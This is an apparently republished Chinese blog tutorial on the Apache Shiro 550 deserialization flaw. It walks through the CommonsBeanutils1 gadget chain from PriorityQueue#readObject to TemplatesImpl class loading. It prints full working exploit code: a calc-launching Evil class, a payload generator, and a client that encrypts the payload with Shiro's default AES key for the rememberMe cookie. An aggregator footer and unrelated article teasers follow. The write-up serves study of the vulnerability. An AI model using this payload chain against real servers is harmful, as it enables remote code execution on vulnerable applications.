Java代码审计Shiro反序列化CB1链source入口sink执行gadget链

目录

0x00 前言

0x01 CC链&CB链简介

1. Commons Collections链是什么?

2. Commons BeanUtils链是什么?

0x02 测试Commons BeanUtils1链

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

2. Commons BeanUtils1链跟踪流程(重点)

3. 总结

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)


0x00 前言

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 CC链&CB链简介

1. Commons Collections链是什么?

"CC链"指的是一种在Java反序列化漏洞攻击中使用的攻击链,主要利用了Apache Commons项目中的Commons Collections库。这个库包含了一些常用的Java集合类的实现,其中一些类在进行反序列化时会执行预定义的操作。攻击者可以构建恶意的反序列化数据,使其在执行反序列化操作时调用Commons Collections库中的特定类,从而最终导致执行恶意代码。常见的类包括TransformedMap等,攻击者通过构建一系列对象,将这些类链接在一起,形成一个CC链,达到执行恶意代码的目的。

2. Commons BeanUtils链是什么?

"CB链"指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库。Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等。攻击者可以构建一个恶意的反序列化链,通过组合这些特殊的类和方法,形成一个CB链。当反序列化操作触发时,CB链会执行预定义的操作,最终导致执行攻击者的恶意代码。

0x02 测试Commons BeanUtils1链

Shiro项目环境:shiroweb && tomcat 9.0.80 && jdk 8u112

Shiro反序列化利用工具:shiroattack && jdk 8u112

 简单分析Commons BeanUtils链 payload生成逻辑:获取恶意类Evil=>getPayload生成并序列化=>AES加密=>Base64加密

public class Client1 {public static void main(String []args) throws Exception {// 1. 创建ClassPool对象,用于加载类ClassPool pool = ClassPool.getDefault();// 2. 获取恶意类Evil(该类执行计算器calc)CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());// 3. 调用CommonsBeanutils1Shiro#getPayload方法,并传入序列化后的恶意类,生成payloadbyte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());// 4. 创建AesCipherService对象AesCipherService aes = new AesCipherService();// 5. 将key值Base64解码byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");// 6. 使用AES加密payload,暗含Base64加密ByteSource ciphertext = aes.encrypt(payloads, key);// 7. 将加密后的结果输出到控制台System.out.printf(ciphertext.toString());}
}

其中恶意类Evil.class调用Runtime.getRuntime().exec执行计算器:

public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}

以下为CommonsBeanutils1Shiro.class代码,用于生成payload。此处暂不分析,后面跟完链会详细介绍。

public class CommonsBeanutils1Shiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}
}

使用Client1.java测试CommonsBeanutils1Shiro链,BurpSuite抓包修改,将生成的payload替换Cookie: rememberMe=后的值,成功弹出计算器。

随后使用Client.java、Client0.java测试CommonsCollectionsShiro、CommonsCollections6链,同样的操作却并未成功执行命令,这是为什么呢?

这其实是由于项目自身环境造成的,实验中shiroweb的CB库版本为1.8.3,CC库版本为3.2.1。

一般来说可利用CC链的版本为3.1,这就是为什么上述CB链测试能成功,CC链未成功的原因。

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

上篇文章讲述的URLDNS链能够造成DNSLog但却不能执行命令,为何CC&CB链就可以呢?这就是调试分析需要解决的问题。

目前我们已经知道了Shiro使用的是Java原生反序列化,其漏洞成因是反序列化的类重写了readObject方法。

现在引入CB库里的PropertyUtils.getProperty()方法,该方法可以动态地通过反射调用对象的属性的get方法。

执行:PropertyUtils.getProperty(new User("ch4ser","man",23),"age");User类的getAge方法被调用执行:PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties");TemplatesImpl类的getOutputProperties方法被调用

另外,一个完整的攻击链通常由以下三个部分组成:

1、Source(源):入口点,通常是指攻击链的起始点,其中用户输入或外部数据进入应用程序。
在反序列化漏洞中,readObject 方法通常被认为是源,因为它是从输入流读取数据并进行反序列化的方法。
2、Sink(执行点):执行点,是攻击链上的终点,其中攻击者希望执行恶意操作的位置。
在反序列化漏洞中,sink 可能是一个动态方法执行、JNDI注入或写文件等操作。
3、Gadget(链):连接入口执行的多个类,通过它们的相互方法调用形成攻击链。Gadget 类通常满足一些条件,例如类之间方法调用是链式的,类实例之间的关系是嵌套的,调用链上的类都需要是可以序列化的。在反序列化漏洞中,Gadget 类是攻击者构建的、可序列化的类,通过构建特定的对象图,使得在反序列化时执行恶意代码。
 

2. Commons BeanUtils1链跟踪流程(重点)

参考文章:关于我学渗透的那档子事之Java反序列化-CB链 - FreeBuf网络安全行业门户

首先需要找到入口点Source:PriorityQueue#readObject方法

选择PriorityQueue这个类的原因是它重写了readObject方法,并且Shiro反序列化这个类的时候会调用其重写的readObject方法,经过层层嵌套调用,最终造成命令执行。值得一提的是,这个类的路径为java/util/PriorityQueue.java,也就意味着是JDK自带,不需要任何的依赖

可能有的师傅还是会问,有别的类也重写了readObject方法,为什么不选择别的类呢?这个问题其实不用过于纠结,因为我们目前是在别的大佬已经贡献了挖掘思路的基础上做的代码审计,并不是在挖0day,所以跟着他的思路走就行了。

链:PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();
}

PriorityQueue#readObject本身没有命令执行函数,但发现调用了heapify方法,按照我们的思路现在应该步入heapify方法,检查其有没有可能会造成命令执行。

步入heapify方法,发现循环里调用了siftDown方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown

条件1:size值大于等于2

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

步入siftDown方法,选择条件comparator != null时所调用的siftDownUsingComparator方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator

条件1:size值大于等于2 

条件2:comparator != null

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

步入siftDownUsingComparator方法,关注Comparator#compare方法

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

条件1:size值大于等于2 

条件2:comparator != null

private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

步入Comparator#compare,发现这其实是一个接口,并且BeanComparator类继承了Comparator类和Serializable类,实现了compare接口。

在BeanComparator#compare方法里看到了熟悉的东西:PropertyUtils.getProperty() 

由于我们需要代码逻辑走PropertyUtils.getProperty(),那么就需要让成员变量this.property != null,不然就会直接return。由于this.property是BeanComparator类的成员变量,检查发现其有内置的get、set方法,所以是可以实现控制的。

那么,当执行PropertyUtils.getProperty(o1, this.property)时,如果控制o1=new TemplatesImpl(),this.property="outputProperties",不就可以执行TemplatesImpl#getOutputProperties方法了吗?

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

 

public int compare(Object o1, Object o2) {if (this.property == null) {return this.comparator.compare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.comparator.compare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}
}

 来到getOutputProperties方法,其调用newTransformer()方法,接着跟。

public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();} catch (TransformerConfigurationException e) {return null;}
}

来到newTransformer方法,其调用执行getTransletInstance()方法,接着跟。

public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;
}

来到getTransletInstance方法,当满足条件_name != null和_class == null时,调用执行defineTransletClasses()方法。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

来到defineTransletClasses()方法,当满足条件_bytecodes != null时(不然会抛出异常),会往下执行loader.defineClass()方法,此处为Sink。

注意:在代码中,loader.defineClass(_bytecodes[i])的目的是将_bytecodes[i]中的字节码转换为Class对象,并将该类加载执行,而Java里的.class文件是可以直接执行命令的,故此处便解答了之前的疑问。

在漏洞利用的角度,此处的_bytecodes就是序列化后的恶意类(类似shiroattack执行计算器的Evil类)。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

=>loader.defineClass()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

条件6:_bytecodes != null,_bytecodes=序列化后的恶意类

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}@SuppressWarnings("removal")TransletClassLoader loader =AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {public TransletClassLoader run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class<?>[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}// create a module for the transletString mn = "jdk.translet";String pn = _tfactory.getPackageName();assert pn != null && pn.length() > 0;ModuleDescriptor descriptor =ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC)).requires("java.xml").exports(pn, Set.of("java.xml")).build();Module m = createModule(descriptor, loader);// the module needs access to runtime classesModule thisModule = TemplatesImpl.class.getModule();// the module also needs permission to access each package// that is exported to itPermissionCollection perms =new RuntimePermission("*").newPermissionCollection();Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {thisModule.addExports(p, m);perms.add(new RuntimePermission("accessClassInPackage." + p));});CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);ProtectionDomain pd = new ProtectionDomain(codeSource, perms,loader, null);// java.xml needs to instantiate the translet classthisModule.addReads(m);for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i], pd);final Class<?> superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}}
3. 总结

PriorityQueue类:Source入口点,readObject方法

BeanComparator类:调用PropertyUtils.getProperty(),控制o1和property,执行TemplatesImpl类的getOutputProperties方法,承上启下的作用

TemplatesImpt类:Sink执行点,调用恶意类,loader.defineClass()方法

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)

跟踪完Commons BeanUtils链后,现在分析Commons BeanUtils链payload的生成逻辑。

首先看setFieldValue方法,使用Java反射获取对象的成员变量,设置Accessible以便访问私有成员变量,然后使用反射设置成员变量的值。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {//获取对象的成员变量Field field = obj.getClass().getDeclaredField(fieldName);//设置Accessible以便访问私有成员变量field.setAccessible(true);//使用反射设置成员变量的值field.set(obj, value);
}

来到getPayload方法的第一部分,创建一个TemplatesImpl对象,并使用setFieldValue方法设置其相关成员变量的值。 

其中_bytecodes来源:_bytecodes <= clazzBytes <= clazz.toBytecode() <= Evil恶意类

//创建 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();//使用 setFieldValue 方法设置相关成员变量的值,
//同时需要满足条件:_bytecodes != null、_name != null 等等
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

来到getPayload方法的第二部分,创建BeanComparator对象和PriorityQueue 对象,具体见注释:

//创建 BeanComparator 对象
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//创建 PriorityQueue 对象
//传入 2 是为了满足条件:size值 ≥ 2
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);//随便向队列 queue 中添加数据,稍后会被替换为 TemplatesImpl 对象
queue.add("1");
queue.add("1");

来到getPayload方法的第三部分,设置BeanComparator的成员变量property为outputProperties,同时设置PriorityQueue的queue字段为包含两个TemplatesImpl对象的数组。

于是,最终得到的PriorityQueue(queue)包含了TemplatesImpl对象和BeanComparator对象,其中BeanComparator对象的property字段被设置为"outputProperties"。

注意:实际上这里就是在控制o1=new TemplatesImpl(),this.property="outputProperties",于是执行PropertyUtils.getProperty(o1, this.property)时,就会调用TemplatesImpl#getOutputProperties方法。

//将 BeanComparator 的 property 字段设置为字符串 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");//将 PriorityQueue 的 queue 字段设置为一个包含两个相同的 TemplatesImpl 对象的数组
//这两个对象将替换之前队列 queue 中的数据
setFieldValue(queue, "queue", new Object[]{obj, obj});

来到getPayload方法的第四部分,将PriorityQueue对象序列化为字节数组并返回,完成了payload的生成。

// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();// 返回序列化后的字节数组
return barr.toByteArray();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/639004.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Node开发基础

1. 概述 1.1 为什么要学习服务器端开发基础 能够和后端程序员更加紧密的配合 网站业务逻辑前置&#xff0c;学习前端技术需要后端技术支撑 扩宽知识视野&#xff0c;能够站在更高的角度审视整个项目 1.2 服务器端开发要做的事情 实现网站的业务逻辑 ---网站登录部分&#…

矩阵重叠问题判断

创作背景 看到一道题目有感而发想写一篇题解&#xff0c;涉及的是一种逆向思维 桌面窗体重叠 - 洛谷https://www.luogu.com.cn/problem/U399827题目来源于《信息学奥赛课课通》 大致就是给一个长方形的左上顶点坐标&#xff08;x1,y1&#xff09;和右下顶点坐标&#xff08;x…

【设计模式】适配器和桥接器模式有什么区别?

今天我探讨一下适配器模式和桥接模式&#xff0c;这两种模式往往容易被混淆&#xff0c;我们希望通过比较他们的区别和联系&#xff0c;能够让大家有更清晰的认识。 适配器模式&#xff1a;连接不兼容接口 当你有一个类的接口不兼容你的系统&#xff0c;而你又不希望修改这个…

云服务器定价_云服务器价格_云主机计费模式_腾讯云

腾讯云服务器租用价格表&#xff1a;轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年&#xff0c;540元三年、2核4G5M带宽218元一年&#xff0c;2核4G5M带宽756元三年、轻量4核8G12M服务器446元一年、646元15个月&#xff0c;云服务器CVM S5实例2核2G配置280.8元一年…

嵌入式培训机构四个月实训课程笔记(完整版)-C++和QT编程第六天-Qt UDP编程(物联技术666)

链接&#xff1a;https://pan.baidu.com/s/1-u7GvgM0TLuiy9z7LYQ80Q?pwd1688 提取码&#xff1a;1688 在Qt中提供了QUdpSocket 类来进行UDP数据报&#xff08;datagrams&#xff09;的发送和接收。这里我们还要了解一个名词Socket&#xff0c;也就是常说的“套接字”。 Qt 网络…

强化学习(四)动态规划——1

动态规划算法&#xff08;DP&#xff09;&#xff1a;在马尔可夫决策过程&#xff08;MDP&#xff09;的完美环境模型下计算最优策略。但其在强化学习中实用性有限&#xff0c;其一是它是基于环境模型已知&#xff1b;其二是它的计算成本很大。但它在理论伤仍然很重要&#xff…

2023年12月青少年机器人技术等级考试(五级)理论综合试卷

2023年12月青少年机器人技术等级考试&#xff08;五级&#xff09;理论综合试卷 单选题 第 1 题 单选题 通常状况下&#xff0c;ESP32 WROOM模组的工作电压是&#xff1f;&#xff08; &#xff09; A.3V B.3.3V C.3.6V D.5V 第 2 题 单选题 ESP32 WROOM模组中核&am…

java大数据hadoop2.9.2 Linux安装mariadb和hive

一、安装mariadb 版本centos7 1、检查Linux服务器是否已安装mariadb yum list installed mariadb* 2、如果安装了&#xff0c;想要卸载 yum remove mariadb rm -rf /etc/my.cnf rm -rf /var/lib/mysql 才能完全删除 3、安装mariadb 在线网络安装 yum install -y mari…

网络通信(Socket/TCP/UDP)

一、Socket 1.概念: Socket(又叫套接字)是通信的基石,是支持TCP/IP协议的网络通信的基本操作单元。它是网络通信过程中端点的抽象表示,包含进行网络通信必须的五种信息:连接协议,客户端的IP地址,客户端的端口,服务器的IP地址,服务器的端口。 一个Socket是一对IP地址…

笔试面试题——二叉树进阶(一)

&#x1f4d8;北尘_&#xff1a;个人主页 &#x1f30e;个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上&#xff0c;不忘来时的初心 文章目录 一、根据二叉树创建字符串1、题目讲解2、思路讲解3、代码实现 二、二叉树的分层遍历1、题目讲…

大数据导论(4)---大数据应用

文章目录 1. 在互联网中的应用1.1 推荐系统1.2 长尾理论1.3 推荐方法与模型1.4 推荐系统应用 2. 在其他领域的应用2.1 企业营销2.2 智慧交通 1. 在互联网中的应用 1.1 推荐系统 1. 推荐系统产生&#xff1a;  (1) 互联网的飞速发展使我们进入了信息过载的时代&#xff0c;搜索…

【赠书第17期】Excel高效办公:文秘与行政办公(AI版)

文章目录 前言 1 了解Excel的强大功能和工具 2 提升Excel技能的方法 3 结合AI技术提升Excel应用 4 注意事项 5 推荐图书 6 粉丝福利 前言 随着人工智能&#xff08;AI&#xff09;技术的快速发展&#xff0c;我们的工作方式也在发生深刻变革。其中&#xff0c;Excel 作…

使用cmake进行完成开发实践

根据这个UML图进行cmake的实践 首先按照使用vscode在wsl2中配置clangd环境-CSDN博客的内容先创建出cmake项目。 之后在项目目录中创建include和src目录。 根据UML图&#xff0c;首先要完成Gun类的实现。分别在include&#xff0c;src目录下创建头文件和源文件&#xff0c;写入…

上位机图像处理和嵌入式模块部署(qt图像处理)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 很多人一想到图像处理&#xff0c;本能的第一反应就是opencv&#xff0c;这也没有错。但是呢&#xff0c;这里面还是有一个问题的&#xff0c;不知…

Leetcode刷题笔记题解(C++):LCR 174. 寻找二叉搜索树中的目标节点

思路&#xff1a;二叉搜索树的中序遍历是有序的从大到小的&#xff0c;故得出中序遍历的结果&#xff0c;即要第cnt大的数为倒数第cnt的数 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeN…

JUC并发编程-集合不安全情况以及Callable线程创建方式

6. 集合不安全 1&#xff09;List 不安全 //java.util.ConcurrentModificationException 并发修改异常&#xff01; public class ListTest {public static void main(String[] args) {List<Object> arrayList new ArrayList<>();for(int i1;i<30;i){new Thr…

​WordPress顶部管理工具栏怎么添加一二级自定义菜单?

默认情况下&#xff0c;WordPress前端和后台页面顶部都有一个“管理工具栏”&#xff0c;左侧一般就是站点名称、评论、新建&#xff0c;右侧就是您好&#xff0c;用户名称和头像。那么我们是否可以在这个管理工具栏中添加一些一二级自定义菜单呢&#xff1f; 其实&#xff0c…

力扣746. 使用最小花费爬楼梯

动态规划 思路&#xff1a; 定义 dp[i] 为到达下标 i 层的最小花费&#xff1b;则状态转移方程为&#xff1a; 第 i 层可以从第 i - 1 层爬一层或者第 i - 2 层爬两层到达&#xff1b;则 dp[i] std::min(dp[i - 1] cost[i - 1], dp[i - 2] cost[i - 2])初始状态&#xff1a…

SpringSecurity+JWT前后端分离架构登录认证

目录 1. 数据库设计 2. 代码设计 登录认证过滤器 认证成功处理器AuthenticationSuccessHandler 认证失败处理器AuthenticationFailureHandler AuthenticationEntryPoint配置 AccessDeniedHandler配置 UserDetailsService配置 Token校验过滤器 登录认证过滤器接口配置…

应用层—HTTPS详解(对称加密、非对称加密、密钥……)

文章目录 HTTPS什么是 HTTPSHTTPS 如何加密HTTPS 的工作过程对称加密非对称加密 HTTPS 什么是 HTTPS HTTPS 也是一个应用层的协议。是在 HTTP 协议的基础上引入的一个加密层。 由来&#xff1a;HTTP 协议内容都是按照文本的方式明纹传输&#xff0c;这就导致在传输过程中出现…